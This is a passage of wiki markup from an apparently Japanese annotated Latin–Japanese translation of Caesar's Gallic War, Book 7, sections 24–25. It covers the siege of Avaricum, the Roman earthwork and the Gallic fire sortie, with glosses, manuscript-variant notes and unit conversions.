*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Hoc &lt;u&gt;cum&lt;/u&gt; in [[wikt:en:species#Latin|speciem]] [[wikt:en:varietas#Latin|varietatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|opus]] [[wikt:en:deformis#Latin|deforme]] non est [[wikt:en:alternus#Latin|alternis]] [[wikt:en:trabs#Latin|trabibus]] ac [[wikt:en:saxum#Latin|saxis]], 
**&lt;ruby&gt;&lt;rb&gt;この&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ホク&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、互い違いの&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により、変化に富む外観において不格好でなく、
*quae [[wikt:en:rectus#Latin|rectis]] [[wikt:en:linea#Latin|lineis]] suos [[wikt:en:ordo#Latin|ordines]] [[wikt:en:servant#Latin|servant]], 
**──それら&lt;small&gt;〔木材と石〕&lt;/small&gt;は真っ直ぐな線により、その&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を保っているのだが──
*&lt;u&gt;tum&lt;/u&gt; ad [[wikt:en:utilitas#Latin|utilitatem]] et [[wikt:en:defensio#Latin|defensionem]] [[wikt:en:urbs#Latin|urbium]] 
**同様に、都市の防御の有益性のためにも、
*summam [[wikt:en:habet#Latin|habet]] [[wikt:en:opportunitas#Latin|opportunitatem]], 
**きわめて好都合となっている。
*quod et ab [[wikt:en:incendio#Latin|incendio]] [[wikt:en:lapis#Latin|lapis]] et ab [[wikt:en:aries#Latin|ariete]] [[wikt:en:materia#Latin|materia]] [[wikt:en:defendit#Latin|defendit]], 
**──というのは、&lt;ruby&gt;&lt;rb&gt;石材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ラピス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が火災からも、&lt;ruby&gt;&lt;rb&gt;材木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;マーテリア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;[[w:破城槌|破城槌]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はじょうつい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からも、防護しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～でもあり、…でもある」）&lt;/span&gt;
*quae [[wikt:en:perpetuus#Latin|perpetuis]] [[wikt:en:trabs#Latin|trabibus]] [[wikt:en:pes#Latin|pedes]] [[wikt:en:quadragenus#Latin|quadragenos]] [[wikt:en:plerumque#Adverb|plerumque]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:revinctus#Latin|revincta]] 
**それ&lt;small&gt;〔短手方向の材木〕&lt;/small&gt;は、たいてい40&lt;u&gt;ペース&lt;/u&gt;にわたって&lt;small&gt;（長手方向に）&lt;/small&gt;続く&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により内部で緊結されており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、40ペースは約12メートル。）&lt;/span&gt;
*neque [[wikt:en:perrumpi#Latin|perrumpi]] neque [[wikt:en:distrahi#Latin|distrahi]] potest.
**突破されることも、引きはがされることもできないからである。──
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===24節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|350px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]&lt;small&gt;（[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）&lt;/small&gt;。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、城壁（奥）の手前に材木と土砂を積み重ねた構築物が築き上げられ、左右の土手道をそれぞれ4層の[[w:攻城塔|攻城櫓]]が城壁に迫る。土塁の周辺には&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）を多数つないだ通路（坑道）が延びている。手前には2台の&lt;ruby&gt;&lt;rb&gt;投射機&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が見える。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/24節]]　{{進捗|00%|2026-06-15}}&lt;/span&gt;
;ローマ勢が徹夜の土塁工事、籠城ガッリア勢の攻勢
:　
;　　　ローマ勢が、25日間で大がかりな攻城設備を構築する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:tot#Latin|tot]] rebus [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:oppugnatio#Latin|oppugnatione]] 
**これら多くの事情により攻囲が妨げられて、
*[[wikt:en:miles#Latin|milites]], 
**兵士たちは、
*cum [[wikt:en:totus#Etymology_1|toto]] tempore &lt;u&gt;luto&lt;/u&gt; [[wikt:en:frigus#Latin|frigore]] et [[wikt:en:adsiduus#Latin|adsiduis]] [[wikt:en:imber#Latin|imbribus]] &lt;u&gt;tardarentur&lt;/u&gt;, 
**常時、&lt;ruby&gt;&lt;rb&gt;&lt;u&gt;泥土&lt;/u&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ルトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、寒さと絶え間ない&lt;ruby&gt;&lt;rb&gt;雨嵐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;イムベル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;によって遅らせられていたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:lutum#Latin|luto]] は、&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の二つ目は、&lt;br&gt;　　　　　　　　&amp;chi;系･&amp;beta;系写本では [[wikt:en:tardarentur#Latin|tardarentur]] だが、&lt;br&gt;　　　　　　　　写本B･M･Sでは traderentur、&lt;br&gt;　　　　　　　　写本L･Nでは terrerentur などとなっている。）&lt;/span&gt;
*tamen [[wikt:en:continens#Adjective|continenti]] [[wikt:en:labor#Latin|labore]] omnia haec [[wikt:en:superaverunt#Latin|superaverunt]] 
**しかしながら、絶え間ない労働によってこれらすべてに打ち克って、
*et diebus XXV&lt;small&gt; ([[wikt:en:quinque#Latin|quinque]] et [[wikt:en:viginti#Latin|viginti]])&lt;/small&gt; 
**25日間で、
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:latus#Latin:_wide|latum]] [[wikt:en:pes#Latin|pedes]] CCCXXX&lt;small&gt; ([[wikt:en:trecenti#Latin|trecenti]] [[wikt:en:triginta#Latin|triginta]])&lt;/small&gt;, [[wikt:en:altus#Latin|altum]] pedes LXXX&lt;small&gt; ([[wikt:en:octoginta#Latin|octoginta]])&lt;/small&gt; [[wikt:en:exstruxerunt#Latin|exstruxerunt]]. 
**幅330&lt;u&gt;ペース&lt;/u&gt;、高さ80&lt;u&gt;ペース&lt;/u&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、幅330ペースは約98メートル。高さ80ペースは約24メートル。）&lt;/span&gt;
:　
;　　　アウァーリクムに籠城するガッリア勢が、攻囲するローマ勢の土塁に夜襲をしかける
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Cum is [[wikt:en:murus#Latin|murum]] hostium paene [[wikt:en:contingeret#Latin|contingeret]], 
**それ&lt;small&gt;〔ローマ側の土塁〕&lt;/small&gt;が敵の城壁にほとんど接しようとしていたとき、
*et Caesar ad [[wikt:en:opus#Latin|opus]] [[wikt:en:consuetudo#Latin|consuetudine]] [[wikt:en:excubaret#Latin|excubaret]] 
**かつ、カエサルが習慣により作業のそばで寝ずの番をしていて、
*[[wikt:en:miles#Latin|milites]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:hortaretur#Latin|hortaretur]], ne [[wikt:en:aliquod#Latin|quod]] [[wikt:en:omnino#Latin|omnino]] [[wikt:en:tempus#Latin|tempus]] ab [[wikt:en:opus#Latin|opere]] [[wikt:en:intermitteretur#Latin|intermitteretur]], 
**いかなる時も作業がまったく中断されないように、と兵士たちを励ましていたときに、
*paulo ante tertiam [[wikt:en:vigilia#Latin|vigiliam]] 
**第三夜警時の少し前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：第三夜警時は、真夜中から日の出までの時間帯の前半。「未明」&lt;br&gt;　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*est [[wikt:en:animadversus#Participle|animadversum]] [[wikt:en:fumo#Latin|fumare]] [[wikt:en:agger#Latin|aggerem]], 
**土塁に煙が上がっていることが気付かれた。
*quem [[wikt:en:cuniculus#Latin|cuniculo]] hostes [[wikt:en:succenderant#Latin|succenderant]]; 
**&lt;small&gt;（その土塁を）&lt;/small&gt;[[w:坑道|坑道]]によって敵たちが焼き討ちしていたものである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:idem#Latin|eodem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tempus#Latin|tempore]] 
**そして同時に、
*[[wikt:en:totus#Latin|toto]] [[wikt:en:murus#Latin|muro]] [[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Latin:_raised|sublato]], 
**&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁全体で雄叫びが上がって、
*duabus portis ab [[wikt:en:uterque#Latin|utroque]] [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:turris#Latin|turrium]] 
**二つの城門より、&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]の両方の側面から
*[[wikt:en:eruptio#Latin|eruptio]] [[wikt:en:fiebat#Latin|fiebat]].
**&lt;small&gt;（ガッリア勢による）&lt;/small&gt;突撃がなされていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Alii [[wikt:en:fax#Latin|faces]] atque [[wikt:en:aridus#Latin|aridam]] &lt;u&gt;materiam&lt;/u&gt; de [[wikt:en:murus#Latin|muro]] in [[wikt:en:agger#Latin|aggerem]] [[wikt:en:eminus#Latin|eminus]] [[wikt:en:iaciebant#Latin|iaciebant]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;他の者たちは、&lt;ruby&gt;&lt;rb&gt;[[w:たいまつ|松明]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たいまつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;および乾いた材木を、城壁から&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁に、遠くから投げ込んで、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:materiam#Latin|materiam]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:materiem#Latin|materiem]] となっている。&lt;br&gt;　　　　　　　　　文法学者[[w:カエサレアのプリスキアヌス|プリスキアーヌス]]は、カエサルの文法書 &quot;De Analogia&quot; について materiam と引用している。）&lt;/span&gt;
*[[wikt:en:pix#Latin|picem]] [[wikt:en:reliquus#Latin|reliquas]]&lt;nowiki&gt;que&lt;/nowiki&gt; res, quibus [[wikt:en:ignis#Latin|ignis]] [[wikt:en:excitari#Latin|excitari]] potest, [[wikt:en:fundebant#Latin|fundebant]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、火を燃え立たせられるほかのもの&lt;small&gt;〔可燃物〕&lt;/small&gt;を注ぎ込んだ。
*ut, [[wikt:en:quo#Latin:_where|quo]] primum &lt;u&gt;curreretur&lt;/u&gt; aut cui rei [[wikt:en:ferretur#Latin|ferretur]] [[wikt:en:auxilium#Latin|auxilium]], 
**それで、まずどこに駆け付けるのか、あるいはどの事態に支援がなされるのか、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:curreretur#Latin|curreretur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:occurreretur#Latin|occurreretur]] となっている。）&lt;/span&gt;
*vix [[wikt:en:ratio#Latin|ratio]] [[wikt:en:iniri#Latin|iniri]] posset. 
**&lt;small&gt;（ローマ兵には）&lt;/small&gt;ほとんど分別され得なかった。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Tamen, quod [[wikt:en:institutum#Latin|instituto]] Caesaris &lt;u&gt;semper duae&lt;/u&gt; [[wikt:en:legio#Latin|legiones]] pro [[wikt:en:castra#Latin|castris]] [[wikt:en:excubabant#Latin|excubabant]] 
**しかしながら、カエサルの定めにより常に2個[[w:ローマ軍団|軍団]]が陣営の前に寝ずの番をしていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順では semper duae だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順では duae semper となっている。）&lt;/span&gt;
*[[wikt:en:plus#Latin|plures]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:partitus#Latin|partitis]] [[wikt:en:tempus#Latin|temporibus]] erant in [[wikt:en:opus#Latin|opere]], 
**かつ、より多くの者たちが時間を割り当てられて作業していたので、
*celeriter [[wikt:en:factus#Latin|factum]] est, 
**&lt;small&gt;（防戦は）&lt;/small&gt;速やかになされた。
*ut &lt;u&gt;alii&lt;/u&gt; [[wikt:en:eruptio#Latin|eruptionibus]] [[wikt:en:resisterent#Latin|resisterent]], 
**ある者たちは&lt;small&gt;（ガッリア勢の）&lt;/small&gt;突撃に抵抗しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：alii ～ alii …「～する者もいれば、…する者もいる。」）&lt;/span&gt;
*&lt;u&gt;alii&lt;/u&gt; [[wikt:en:turris#Latin|turres]] [[wikt:en:reducerent#Latin|reducerent]] 
**別のある者たちは[[w:攻城塔|攻城櫓]]を引き戻して、
*[[wikt:en:agger#Latin|aggerem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:interscinderent#Latin|interscinderent]], 
**土塁を&lt;small&gt;（城壁側から）&lt;/small&gt;切り離していた。
*omnis vero ex [[wikt:en:castra#Latin|castris]] [[wikt:en:multitudo#Latin|multitudo]] ad [[wikt:en:restinguendum#Verb|restinguendum]] [[wikt:en:concurreret#Latin|concurreret]].
**さらに陣営から大勢の皆が、消火するために急ぎ集まっていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===25節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/25節]]　{{進捗|00%|2026-06-29}}&lt;/span&gt;
;籠城ガッリア勢が必死の防戦

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum in omnibus locis, &lt;u&gt;[[wikt:en:consumptus#Latin|consumpta]] iam reliqua parte noctis&lt;/u&gt;, [[wikt:en:pugnaretur#Latin|pugnaretur]], 
**&lt;u&gt;すでに夜も明けて&lt;/u&gt;、至る所で戦われていたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「すでに夜の残りの部分も費やされて」。）&lt;/span&gt;
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; hostibus [[wikt:en:spes#Latin|spes]] [[wikt:en:victoria#Latin|victoriae]] [[wikt:en:redintegraretur#Latin|redintegraretur]], 
**かつ、常に敵たちにとって勝利の希望が蘇っており、
*&lt;u&gt;eo magis, quod&lt;/u&gt; [[wikt:en:deustus#Latin|deustos]] [[wikt:en:pluteus#Latin|pluteos]] [[wikt:en:turris#Latin|turrium]] [[wikt:en:videbant#Latin|videbant]] nec facile [[wikt:en:adire#Latin|adire]] [[wikt:en:apertus#Latin|apertos]] ad [[wikt:en:auxiliandum#Verb|auxiliandum]]  [[wikt:en:animadvertebant#Latin|animadvertebant]], 
**&lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;[[w:攻城塔|攻城櫓]]の&lt;ruby&gt;&lt;rb&gt;障壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;プルテウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;焼き落された&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;デウストゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のを見ていて、&lt;ruby&gt;&lt;rb&gt;身を曝した者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アペルトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちが救援のために容易に近づけないのに気付いていた&lt;u&gt;のでなおさらだったが&lt;/u&gt;、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo magis quod|eo magis quod]] ～ 「～なので、その分だけ、より一層」。[[ガリア戦記 第3巻#14節|第3巻14節]]も参照。）&lt;/span&gt; 
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; ipsi [[wikt:en:recens#Adjective|recentes]] [[wikt:en:defessus#Latin|defessis]] [[wikt:en:succederent#Latin|succederent]] 
**常に彼ら自身&lt;small&gt;〔籠城ガッリア勢〕&lt;/small&gt;は新たな者たちが疲れ果てた者たちに交代しており、
*[[wikt:en:omnis#Latin|omnem]]&lt;nowiki&gt;que&lt;/nowiki&gt; Galliae [[wikt:en:salus#Latin|salutem]] &lt;u&gt;in illo [[wikt:en:vestigium#Latin|vestigio]] temporis [[wikt:en:positus#Participle|positam]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt;&lt;/u&gt; [[wikt:en:arbitrarentur#Latin|arbitrarentur]], 
**ガッリアのすべての安全が、&lt;u&gt;その瞬間にかかっている&lt;/u&gt;と思われていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「その時の足跡（瞬間）に置かれている」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以上の cum ～ arbitrarentur, が状況や理由を説明する副文で、以下が主文となっている。）&lt;/span&gt;
*[[wikt:en:accidit#Etymology_1|accidit]] [[wikt:en:inspectans#Latin|inspectantibus]] nobis, 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が見ているなかで起こったのは、
*[[wikt:en:quod#Pronoun|quod]] [[wikt:en:dignus#Latin|dignum]] [[wikt:en:memoria#Latin|memoria]] [[wikt:en:visus#Participle|visum]] [[wikt:en:praetereundus#Latin|praetereundum]] non [[wikt:en:existimavimus#Latin|existimavimus]]. 
**記憶に値すると思われたことを&lt;small&gt;（我がローマ勢が）&lt;/small&gt;見過ごすべきではないと考えていたことである。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この主文の主語を省略せずに記せば、以下のようになる。&lt;br&gt;　　　　[id], quod dignum memoria visum [esse] praetereundum [esse] non existimavimus.）&lt;/span&gt;

[[画像:048_Conrad_Cichorius,_Die_Reliefs_der_Traianssäule,_Tafel_XLVIII_(Ausschnitt 01).jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を操作する[[w:ダキア人|ダキア人]]の彫刻（[[w:トラヤヌスの記念柱|トラヤヌス帝の記念柱]]に刻まれた[[w:レリーフ|レリーフ]]）。]]
[[画像:Balliste_fireing.jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（[[w:en:Scorpio (dart-thrower)|Scorpio]]）の現代における復元。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quidam#Determiner|Quidam]] ante portam oppidi [[wikt:en:Gallus#Noun|Gallus]], &lt;u&gt;qui&lt;/u&gt; 
**城塞都市の城門の前にいた、ある&lt;small&gt;（1人の）&lt;/small&gt;ガッリア人が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の qui は、&amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*per [[wikt:en:manus#Latin:_hand|manus]] [[wikt:en:sebum#Latin|sebi]] ac [[wikt:en:pix#Latin|picis]] [[wikt:en:traditus#Participle|traditas]] [[wikt:en:glaeba#Latin|glaebas]] 
**手から手へと渡された&lt;ruby&gt;&lt;rb&gt;獣脂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;セーブム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の塊を、
*in [[wikt:en:ignis#Latin|ignem]] &lt;u&gt;e regione&lt;/u&gt; turris [[wikt:en:proiciebat#Latin|proiciebat]]: 
**攻城櫓の正面にある火炎の中に投げ込んでいたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*[[wikt:en:scorpio#Latin|scorpione]] ab [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:dexter#Latin|dextro]] [[wikt:en:traiectus#Participle|traiectus]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で右の横腹を射られて、
*[[wikt:en:exanimatus#Latin|exanimatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:concidit#Verb|concidit]]. 
**息絶えて倒れた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hunc ex [[wikt:en:proximus#Noun|proximis]] unus [[wikt:en:iacens#Latin|iacentem]] [[wikt:en:transgressus#Latin|transgressus]] 
**彼が倒れているのを、すぐ近くの者たちのうちの1人が乗り越えて、
*[[wikt:en:idem#Latin|eodem]] illo [[wikt:en:munus#Latin|munere]] [[wikt:en:fungebatur#Latin|fungebatur]]; 
**その同じ&lt;ruby&gt;&lt;rb&gt;任務&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムーヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を果たしていた。
*[[wikt:en:idem#Latin|Eadem]] [[wikt:en:ratio#Latin|ratione]] [[wikt:en:ictus#Noun_4|ictu]] [[wikt:en:scorpio#Latin|scorpionis]] [[wikt:en:exanimatus#Latin|exanimato]] 
**&lt;small&gt;（その第2の者が）&lt;/small&gt;同様に&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の射撃で息絶えさせられると
*alteri [[wikt:en:successit#Latin|successit]] tertius 
**&lt;small&gt;（息絶えた）&lt;/small&gt;第2の者に第3の者が代わって、
*et tertio quartus, 
**&lt;small&gt;（さらに）&lt;/small&gt;第3の者に第4の者が&lt;small&gt;（代わった）&lt;/small&gt;。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; &lt;u&gt;nec prius&lt;/u&gt; ille est a [[wikt:en:propugnator#Latin|propugnatoribus]] [[wikt:en:vacuus#Latin|vacuus]] [[wikt:en:relictus#Participle|relictus]] locus 
**防戦者たちは、持ち場を放棄することがなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：直訳は「その場（ille locus）は、防戦者たちによって空&lt;small&gt;〔無人〕&lt;/small&gt;にして置かれることがなかった。」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec [[wikt:en:prius#Adverb|prius]] ～ [[wikt:en:quam#Conjunction|quam]] …「…するまでは～しなかった」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:restinctus#Latin|restincto]] [[wikt:en:agger#Latin|aggere]] atque &lt;u&gt;omni ex parte&lt;/u&gt; [[wikt:en:submotus#Latin|submotis]] hostibus [[wikt:en:finis#Latin:_end|finis]] est [[wikt:en:pugnandi#Verb|pugnandi]] [[wikt:en:factus#Latin:_done|factus]].
**&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が鎮火されて、そのすべての方面から敵たちが追い払われて、戦いに終止符が打たれる&lt;u&gt;までは&lt;/u&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、omni &lt;u&gt;ex&lt;/u&gt; parte は ''[[ガリア戦記/注解編/写本と校訂版#Ciacconius|Ciacconius]]'' による修正で、&lt;br&gt;　　　　&amp;alpha;系写本では omni &lt;u&gt;ea&lt;/u&gt; parte &lt;br&gt;　　　　&amp;beta;系写本では omni parte となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===26節===
